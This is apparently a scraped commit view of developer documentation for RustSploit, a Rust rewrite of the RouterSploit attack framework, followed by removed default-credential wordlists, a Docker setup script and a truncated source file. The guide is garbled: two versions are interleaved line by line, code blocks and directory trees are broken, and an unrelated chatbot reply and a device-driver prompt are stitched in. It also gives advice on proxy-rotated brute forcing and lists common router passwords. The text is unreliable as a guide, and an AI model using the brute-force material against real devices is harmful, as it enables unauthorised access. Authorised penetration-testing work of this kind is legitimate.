> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
> This document details the internal architecture, auto-dispatch system, proxy retry logic, and step-by-step guide to writing modules for the Rust rewrite of RouterSploit.
---
## Table of Contents
## 🧠 Framework Philosophy
1. [Project Overview](#project-overview)
2. [Code Layout](#code-layout)
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
4. [Shell Architecture](#shell-architecture)
5. [Proxy Subsystem](#proxy-subsystem)
6. [Command-Line Interface](#command-line-interface)
7. [Security & Input Validation](#security--input-validation)
8. [Authoring Modules](#authoring-modules)
9. [Credential Modules: Best Practices](#credential-modules-best-practices)
10. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
11. [Utilities & Helpers](#utilities--helpers)
12. [Testing & QA](#testing--qa)
13. [Roadmap & Ideas](#roadmap--ideas)
RouterSploit-Rust is a modular, async-capable, Rust-based rewrite of RouterSploit. Each module is standalone, invoked via:
- 📟 CLI (`cargo run -- --command ...`)
- 🖥️ Shell (`rsf>` prompt)
Goals:
- 🔒 Safe-by-default
- 📦 Cleanly separated modules
- ⚡ Async concurrency
- 🌐 Proxy-aware execution
---
## Project Overview
## 🗂️ Directory Structure
Rustsploit is a Rust-first re-imagining of RouterSploit:
- Async-native (Tokio) for scalable brute forcing and network IO
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
- Interactive shell + CLI runner referencing the same dispatch layer
- Proxy-aware execution with run-time rotation, validation, and fallback logic
- IPv4/IPv6-friendly: target normalization happens uniformly
- Carefully colored, concise output designed for operators on remote consoles
---
## Code Layout
```text
rustsploit/
```
routersploit_rust/
├── Cargo.toml
├── build.rs # Generates dispatcher code by scanning src/modules
── src/
├── main.rs # Entry point, selects CLI or shell mode (includes input validation)
├── cli.rs # Clap-based CLI parser and dispatcher
├── shell.rs # Interactive shell loop + UX helpers (includes sanitization)
├── api.rs # REST API server with auth, rate limiting, and security
│ ├── config.rs # Global configuration with target validation
├── commands/ # Dispatch glue for exploits/scanners/creds
│ ├── mod.rs
│ ├── exploit.rs
│ ├── exploit_gen.rs # build.rs output
│ ├── scanner.rs
── scanner_gen.rs # build.rs output
│ │ ├── creds.rs
── creds_gen.rs # build.rs output
│ ├── modules/ # Fully auto-discovered attack modules
│ ├── exploits/
── scanners/
│ │ └── creds/
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, validation)
├── docs/
│ └── readme.md # This document
├── lists/
│ ├── readme.md # Wordlist + data file catalogue
│ ├── rtsp-paths.txt
│ ├── rtsphead.txt
│ └── telnet-default/ # Default telnet credentials
└── README.md # Product overview
├── build.rs
── src/
├── main.rs # Entrypoint
├── cli.rs # CLI argument parser
├── shell.rs # Interactive shell logic
├── commands/ # Module dispatch logic
│ ├── mod.rs
├── scanner.rs
│ ├── scanner_gen.rs
│ ├── exploit.rs
│ ├── exploit_gen.rs
│ ├── creds_gen.rs
── creds.rs
├── modules/ # All attack modules
── mod.rs
│ ├── exploits/
│ ├── scanners/
── creds/
└── utils.rs # Common utilities
```
Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
---
## Build Pipeline & Module Discovery
## 🔗 Module System
1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
Each module is a Rust file with a required `run()` entry point:
Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
---
## Shell Architecture
The shell lives in `src/shell.rs`. Highlights:
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
- **Command palette:** `render_help()` prints a colorized table for quick reference.
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
- **Run pipeline:** On `run`/`go`, the shell enforces:
- Module selected
- Target set
- Proxy state respected (rotate until success or fallback direct)
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
---
## Proxy Subsystem
Implemented in `utils.rs` and surfaced in the shell.
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
---
## Command-Line Interface
`src/cli.rs` uses Clap to expose three commands:
- `--command exploit|scanner|creds`
- `--module <name>` (short or qualified, same mapping as the shell)
- `--target <host|IP>`
Example:
```bash
cargo run -- --command exploit --module heartbleed --target 203.0.113.12
```
If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
---
## Security & Input Validation
RustSploit implements comprehensive security measures throughout the codebase. When contributing, follow these guidelines:
### Input Validation Constants
Located across core modules, these constants enforce safe limits:
| File | Constant | Value | Purpose |
|------|----------|-------|---------|
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
| `shell.rs` | `MAX_TARGET_LENGTH` | 512 | Maximum target string length |
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
| `shell.rs` | `MAX_PROXY_LIST_SIZE` | 10,000 | Maximum proxy entries |
| `utils.rs` | `MAX_FILE_SIZE` | 10MB | Maximum file size to read |
| `utils.rs` | `MAX_PROXIES` | 100,000 | Maximum proxies to process |
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1MB | API request body limit |
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
### Security Patterns
When writing modules or core code, follow these patterns:
#### 1. Input Length Validation
```rust
if input.len() > MAX_INPUT_LENGTH {
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
pub async fn run(target: &str) -> anyhow::Result<()>
```
### Optional:
```rust
pub async fn run_interactive(target: &str) -> anyhow::Result<()> {
// internal prompts or logic
}
```
#### 2. Control Character Rejection
```rust
if input.chars().any(|c| c.is_control()) {
return Err(anyhow!("Input cannot contain control characters"));
}
```
### Placement:
#### 3. Path Traversal Prevention
```rust
if input.contains("..") || input.contains("//") {
return Err(anyhow!("Path traversal detected"));
}
```
- Exploits: `src/modules/exploits/`
- Scanners: `src/modules/scanners/`
- Credentials: `src/modules/creds/`
#### 4. Hostname/Target Validation
```rust
use regex::Regex;
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !valid_chars.is_match(target) {
return Err(anyhow!("Invalid characters in target"));
}
```
#### 5. Overflow Protection
```rust
// Use saturating_add to prevent overflow
counter = counter.saturating_add(1);
```
#### 6. Prompt Attempt Limiting
```rust
const MAX_ATTEMPTS: u8 = 10;
let mut attempts = 0;
loop {
attempts += 1;
if attempts > MAX_ATTEMPTS {
println!("Too many invalid attempts. Using default.");
return Ok(default);
}
// ... prompt logic
}
```
### API Security
The API server (`api.rs`) implements:
- **Request Body Limiting:** `RequestBodyLimitLayer` prevents DoS via large payloads
- **Rate Limiting:** 3 failed auth attempts = 30 second block
- **Auto-cleanup:** Old entries purged when limits exceeded
- **IP Tracking:** With automatic rotation when suspicious activity detected
### File Operations
When reading files, always:
1. Validate the path doesn't contain `..`
2. Use `canonicalize()` to resolve the real path
3. Check file size before reading
4. Skip symlinks for security
Subfolders are supported:
- `exploits/routers/tplink.rs``tplink` or `routers/tplink`
- `scanners/http/title.rs``title` or `http/title`
---
## Authoring Modules
## ✅ Adding a New Module
Every module must export:
### 1. Create File
```rust
// src/modules/scanners/ftp_weak_login.rs
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
// ...
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
println!("[*] Checking FTP on {}", target);
Ok(())
}
```
Guidelines:
1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
### skeleton
### 2. Register in `mod.rs`
```rust
use anyhow::{Context, Result};
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking {}", target);
let url = format!("http://{}/status", target);
let body = reqwest::get(&url)
.await
.with_context(|| format!("failed to reach {}", url))?
.text()
.await
.context("failed to fetch body")?;
if body.contains("vulnerable") {
println!("[+] {} appears vulnerable", target);
} else {
println!("[-] {} not vulnerable", target);
}
Ok(())
}
pub mod ftp_weak_login;
```
---
## Credential Modules: Best Practices
## 🧠 Auto-Dispatch System
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
The CLI/shell can call:
```bash
cargo run -- --command scanner --module ftp_weak_login --target 192.168.1.1
```
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
- **Concurrency:**
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
Or in the shell:
```
rsf> use scanners/ftp_weak_login
rsf> set target 192.168.1.1
rsf> run
```
Behind the scenes:
1. `build.rs` scans `src/modules/` recursively
2. Detects files with `pub async fn run(...)`
3. Generates:
- `exploit_dispatch.rs`
- `scanner_dispatch.rs`
- `creds_dispatch.rs`
4. Registers short + full names (e.g., `ftp_weak_login` + `scanners/ftp_weak_login`)
---
## Exploit Modules: Best Practices
## ❌ What Not To Do
- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
- ❌ No `run()` → wont dispatch
- ❌ Dont name multiple functions `run()` in one file
- ❌ Dont use `mod.rs` as a module — ignored by generator
- ❌ Dont forget to update `mod.rs` when adding modules
---
## Utilities & Helpers
## ⚙️ CLI Usage
`src/utils.rs` provides:
```bash
cargo run -- --command exploit --module my_exploit --target 10.0.0.1
```
- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
### Args:
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
- `--command`: exploit | scanner | creds
- `--module`: file name of module
- `--target`: IP or host
---
## Testing & QA
## 🖥️ Shell Usage
1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
2. **Build:** `cargo check` ensures new modules compile.
3. **Runtime smoke tests:**
- Shell: `cargo run``modules` → run a harmless module (e.g., `scanners/sample_scanner`).
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
```bash
cargo run
```
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
Then:
```
rsf> help
rsf> modules
rsf> use scanners/ping_sweep
rsf> set target 192.168.0.1
rsf> run
```
Maintains internal state:
- `current_module`
- `current_target`
- `proxy_list`
- `proxy_enabled`
---
## Roadmap & Ideas
## 🔁 Proxy Retry Logic (Shell Only)
- Interactive shell improvements (history, tab completion, colored banners)
- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
- Credential module templates (derive-style macros for common prompts)
- Integration with external wordlists (dynamic download or git submodules)
- Session logging (`tee` support) and output JSON export for pipeline ingestion
- Transport abstractions for UDP/DoS modules
Proxy logic only applies in shell mode (`rsf>`).
Contributions are welcome—open an issue or start a discussion before large refactors.
### Flow:
1. User types `run`
2. Shell checks:
- Module is selected?
- Target is set?
- Proxy enabled?
---
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !***
### Case 1: Proxy ON, Proxies LOADED
- Create `HashSet<String>``tried_proxies`
- Loop:
- Pick random untried proxy
- Set `ALL_PROXY` using:
```rust
env::set_var("ALL_PROXY", proxy);
```
- Call `commands::run_module(...)`
- On success: stop
- On error: mark proxy as failed, try another
- If all proxies fail:
- Clear proxy env:
```rust
env::remove_var("ALL_PROXY");
```
- Try once directly
---
### Case 2: Proxy ON, No Proxies Loaded
- Show warning
- Clear `ALL_PROXY`
- Run once directly
---
### Case 3: Proxy OFF
- Clear proxy vars
- Run module once
---
### Summary Flow:
```
If proxy_enabled:
while untried proxies:
pick → set env → run → if fail → mark tried
if none work → clear env → try direct
else:
clear env → try direct
```
---
## 🧪 Module Execution Flow
Whether via CLI or shell:
1. `commands::run_module(...)`
2. Determines type: `exploit`, `scanner`, or `cred`
3. Calls correct dispatcher
4. Dispatcher calls `run(target).await`
5. Output shown to user
---
## 🛑 Error Handling
- All modules must return `anyhow::Result<()>`
- Errors are caught and shown cleanly in CLI or shell
---
## ⚡ Async Features
- Entire framework is powered by `tokio`
- All I/O modules are `async`
- Use `tokio::spawn`, `FuturesUnordered`, etc. for concurrency
---
## 📡 Making Requests
Use `reqwest`:
```rust
let resp = reqwest::get(&url).await?.text().await?;
```
Or with client:
```rust
let client = reqwest::Client::new();
let resp = client.post(&url).json(&data).send().await?;
```
✅ All requests respect `ALL_PROXY`
---
## 🧪 Example Use Cases
### CLI
```bash
cargo run -- --command creds --module ftp_weak_login --target 192.168.1.100
```
### Shell
```bash
rsf> use creds/ftp_weak_login
rsf> set target 192.168.1.100
rsf> run
```
---
## 🧼 Shell Reset
No session data persists. When restarted, shell forgets all settings — no saved targets or modules (by design).
---
## 🔐 Adapting CVEs
To build a real-world exploit:
- Convert PoC to async Rust logic
- Validate by checking known response headers/content
- Place it in the right folder and wire `run()`
TCP/UDP logic:
```rust
use tokio::net::{TcpStream, UdpSocket};
```
---
## 💡 Feature Roadmap
add more exploits etc
---
## 👥 Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools.
Would you like this exported as a `DEVELOPER_GUIDE.md` file now? I can generate it for you in exact GitHub-flavored markdown.
+21
View File
@@ -45,6 +45,27 @@ Here is the original module that needs to be refactored:
gemini
You are a senior Rust developer specializing in cross-platform, asynchronous hardware drivers. Your assignment is to develop a complete, production-grade Lovense device driver for Linux, written in Rust, using only information from official Lovense documentation and protocol references.
Strict Requirements:
The code must be 100% pure Rust, fully compatible with Linux operating systems.
+1 -48
View File
@@ -1,48 +1 @@
# 📚 Rustsploit Data Files
This directory contains reference lists and helper payloads consumed by modules under `src/modules/**`. Keep this README up to date whenever a new list is added so operators understand the expected format and typical usage.
---
## Available Files
| File / Directory | Used By | Description |
|------------------|---------|-------------|
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables "advanced headers," the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
| `telnet-default/` | `creds/generic/telnet_bruteforce.rs` | Default credentials for telnet brute forcing. |
| `telnet-default/usernames.txt` | Telnet bruteforce | Common usernames for telnet authentication (root, admin, user, etc.). |
| `telnet-default/passwords.txt` | Telnet bruteforce | Common passwords for telnet authentication. |
| `telnet-default/empty.txt` | Telnet bruteforce | Placeholder file for configurations that don't require a password list. |
---
## Contributing Lists
1. **Naming:** Use lowercase and hyphens (`my-new-list.txt`) to remain compatible across platforms.
2. **Format:** Prefer plain UTF-8 text. Comment lines should start with `#` or `//` so loaders can skip them.
3. **Documentation:** Update this README with a row describing the file, the consuming module, and expected contents.
4. **Usage in modules:** Reference lists with relative paths or prompt the user for the filename. Most modules expect the user to supply the path (allowing custom lists), but shipping defaults in this directory helps bootstrap new users.
5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution.
---
## Ideas for Future Lists
- `ftp-default-creds.txt` for anonymous login checks
- `telnet-banners.txt` to fingerprint devices before brute forcing
- `http-admin-panels.txt` for web interface discovery scanners
- Vendor-specific RTSP or ONVIF endpoint lists
- `snmp-community-strings.txt` for SNMP brute forcing
- `fortinet-users.txt` for Fortinet SSL VPN testing
- `ssh-default-creds.txt` for common SSH credentials
## Security Notes
When contributing wordlists:
- **No malicious payloads:** Lists should contain credentials/paths only, not exploit code
- **Respect file size limits:** Keep lists under 10MB (framework limit for file reading)
- **UTF-8 encoding:** Use UTF-8 text encoding for all files
- **Line format:** One entry per line, use `#` or `//` for comments
Pull requests welcome—please include both the data file and an entry here.
just lists like word lists
-1
View File
@@ -1 +0,0 @@
-20
View File
@@ -1,20 +0,0 @@
admin
password
123456
1234
root
toor
guest
default
admin123
adminadmin
pass
changeme
password1
cisco
ubnt
support
12345
qwerty
letmein
test
-20
View File
@@ -1,20 +0,0 @@
admin
root
user
administrator
guest
support
operator
supervisor
admin1
root1
manager
service
master
tech
sysadmin
default
cisco
ubnt
pi
test
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 435 KiB

After

Width:  |  Height:  |  Size: 116 KiB

-327
View File
@@ -1,327 +0,0 @@
#!/usr/bin/env python3
"""
Interactive generator for RustSploit Docker-Compose stack.
Produces:
docker-compose.rustsploit.yml (with embedded Dockerfile)
.env.rustsploit-docker
and prints the command to bring the stack up.
This variant includes runtime fixes to avoid permission-denied on /app/data
and ensures the container starts as root briefly to fix ownership, then
executes the rustsploit binary as the less-privileged `rustsploit` user.
"""
import secrets
import os
import stat
import socket
import ipaddress
import subprocess
import pwd
from pathlib import Path
# Fix: Use parent.parent since script is in scripts/ directory
repo = Path(__file__).resolve().parent.parent
if not (repo / "Cargo.toml").exists():
print("[-] Error: Run this script from the RustSploit repository root.")
print(f" Expected Cargo.toml at: {repo / 'Cargo.toml'}")
exit(1)
# ---------- Helper functions ----------
def ask(prompt, default=None, validator=None):
"""Interactive prompt with validation."""
suffix = f" [{default}]" if default is not None else ""
while True:
val = input(f"{prompt}{suffix}: ").strip()
if not val and default is not None:
val = default
if not val:
print("Value cannot be empty.")
continue
if validator:
try:
validator(val)
except ValueError as e:
print(f"Invalid input: {e}")
continue
return val
def ask_yes_no(prompt, default=True):
"""Yes/No prompt."""
hint = "Y/n" if default else "y/N"
while True:
val = input(f"{prompt} ({hint}): ").strip().lower()
if not val:
return default
if val in ("y", "yes"):
return True
if val in ("n", "no"):
return False
print("Please answer 'y' or 'n'.")
def validate_host(host):
"""Validate host/IP address."""
host = host.strip()
if not host:
raise ValueError("Host cannot be empty")
# Allow localhost
if host == "localhost":
return
# Try to parse as IP
try:
ipaddress.ip_address(host)
except ValueError:
# Not a valid IP, check if it's a valid hostname
if len(host) > 253:
raise ValueError("Hostname too long (max 253 chars)")
if any(c.isspace() for c in host):
raise ValueError("Hostname cannot contain whitespace")
def validate_port(port_str):
"""Validate port number."""
try:
port = int(port_str)
if not (1 <= port <= 65535):
raise ValueError("Port must be between 1 and 65535")
except ValueError as e:
if "invalid literal" in str(e):
raise ValueError("Port must be a number")
raise
def detect_private_ip():
"""Try to detect private IP address."""
try:
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
sock.connect(("192.0.2.1", 80))
return sock.getsockname()[0]
except OSError:
return None
# ---------- Interactive prompts ----------
print("\n[+] RustSploit Docker Setup\n")
# Host selection
print("Select bind address:")
print(" [1] 127.0.0.1 (localhost only)")
print(" [2] 0.0.0.0 (all interfaces)")
print(" [3] Private LAN IP (auto-detect)")
print(" [4] Custom IP/hostname")
choice = ask("Choice", "2")
if choice == "1":
host = "127.0.0.1"
elif choice == "2":
host = "0.0.0.0"
elif choice == "3":
detected = detect_private_ip()
if detected:
print(f"[+] Detected private IP: {detected}")
use_detected = ask_yes_no("Use detected IP?", True)
host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
else:
print("[-] Could not auto-detect private IP")
host = ask("Enter IP/hostname", validator=validate_host)
else:
host = ask("Enter IP/hostname", validator=validate_host)
# Port
# Default changed to 9000 as this is a common API port and matches user's prior usage
port_str = ask("Host port to expose", "9000", validator=validate_port)
port = int(port_str)
# API Key
print("\n[+] API Key Configuration")
generate_key = ask_yes_no("Generate random API key?", True)
if generate_key:
api_key = secrets.token_urlsafe(32)
print(f"[+] Generated API key: {api_key}")
else:
api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
# Hardening
print("\n[+] Security Hardening")
harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
ip_limit = 10
if harden:
ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
ip_limit = int(ip_limit_str)
# ---------- File generation ----------
env_file = ".env.rustsploit-docker"
compose_file = "docker-compose.rustsploit.yml"
env_path = repo / env_file
compose_path = repo / compose_file
# Check for existing .env file
if env_path.exists():
print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite .env file?", False):
print("[-] Aborted.")
exit(0)
# Check for existing docker-compose file
if compose_path.exists():
print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
if not ask_yes_no("Overwrite docker-compose file?", False):
print("[-] Aborted.")
exit(0)
# ---- .env ----
container_interface = f"0.0.0.0:{port}"
env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
RUSTSPLOIT_API_KEY={api_key}
RUSTSPLOIT_HARDEN={"true" if harden else "false"}
RUSTSPLOIT_IP_LIMIT={ip_limit}
"""
env_path.write_text(env_content)
# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
print(f"\n[+] Generated: {env_path}")
# Fix ownership if file was created with sudo (owned by root)
if env_path.stat().st_uid == 0:
print("[!] File was created as root. Fixing ownership...")
try:
# Get the actual user (SUDO_USER if running via sudo, otherwise current user)
user = os.environ.get('SUDO_USER') or os.environ.get('USER')
if not user:
user = pwd.getpwuid(os.getuid()).pw_name
# If we're running as root (via sudo), we can chown directly
if os.geteuid() == 0:
user_info = pwd.getpwnam(user)
os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
print(f"[+] Ownership fixed: {user}:{user}")
else:
# Not root, need to use sudo
subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
print(f"[+] Ownership fixed: {user}:{user}")
except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
print(f"[!] Warning: Could not automatically fix ownership: {e}")
print(f" Please run manually: sudo chown $USER:$USER {env_path}")
# ---- docker-compose.yml with embedded Dockerfile ----
# Note: The serve stage runs the entrypoint as root so it can fix ownership of
# /app/data at container startup, then it drops privileges and executes the
# rustsploit binary as the less-privileged `rustsploit` user via runuser.
dockerfile_content = """FROM rust:1.83-slim AS builder
WORKDIR /workspace
ENV CARGO_TERM_COLOR=always
RUN apt-get update \\
&& apt-get install -y --no-install-recommends \\
build-essential \\
pkg-config \\
libssl-dev \\
libclang-dev \\
libpcap-dev \\
libsqlite3-dev \\
&& rm -rf /var/lib/apt/lists/*
COPY Cargo.toml ./
COPY Cargo.lock* ./
COPY . .
RUN cargo build --release --bin rustsploit
FROM debian:bookworm-slim AS serve
RUN apt-get update \\
&& apt-get install -y --no-install-recommends ca-certificates util-linux \\
&& rm -rf /var/lib/apt/lists/*
# create non-root user
RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
WORKDIR /app
# create data dir (image-level), but runtime entrypoint will chown the volume target
RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
# entrypoint runs as root (default) so it can fix ownership of mounted volumes
RUN echo '#!/bin/sh' > /entrypoint.sh && \\
echo 'set -e' >> /entrypoint.sh && \\
echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
echo ' if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
echo ' ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
echo ' fi' >> /entrypoint.sh && \\
echo 'fi' >> /entrypoint.sh && \\
# ensure data dir exists and is owned by rustsploit so that non-root process can write
echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
# finally, execute rustsploit as the rustsploit user using runuser
echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
chmod +x /entrypoint.sh && \\
chown root:root /entrypoint.sh && \\
chown root:root /usr/local/bin/rustsploit
# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
EXPOSE 8080
ENTRYPOINT ["/entrypoint.sh"]
"""
# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
dockerfile_path = repo / "Dockerfile.rustsploit"
dockerfile_path.write_text(dockerfile_content)
print(f"[+] Generated: {dockerfile_path}")
# Generate docker-compose.yml
compose_content = f"""# Generated by {Path(__file__).name}
services:
rustsploit-api:
container_name: rustsploit-api
build:
context: .
dockerfile: Dockerfile.rustsploit
target: serve
restart: unless-stopped
env_file:
- {env_file}
ports:
- "{host}:{port}:{port}"
security_opt:
- no-new-privileges:true
tmpfs:
- /tmp
volumes:
- rustsploit-data:/app/data
volumes:
rustsploit-data:
name: rustsploit-data
"""
compose_path.write_text(compose_content)
print(f"[+] Generated: {compose_path}")
print("\n[+] Setup complete!")
print("\n[+] Generated files:")
print(f" - {env_path.relative_to(repo)}")
print(f" - {compose_path.relative_to(repo)}")
print(f" - {dockerfile_path.relative_to(repo)}")
print(f"\n[!] Note: Run docker compose commands from the repository root:")
print(f" cd {repo}")
print("\n[+] To start the stack, run:")
print(f" cd {repo} && docker compose -f {compose_file} up -d --build")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} up -d --build")
print("\n[+] To view logs:")
print(f" cd {repo} && docker compose -f {compose_file} logs -f")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} logs -f")
print("\n[+] To stop the stack:")
print(f" cd {repo} && docker compose -f {compose_file} down")
print(f" # OR from any directory:")
print(f" docker compose -f {compose_path} down")
-772
View File
@@ -1,772 +0,0 @@
use anyhow::{Context, Result};
use axum::{
extract::{ConnectInfo, Request, State},
http::{HeaderMap, StatusCode},
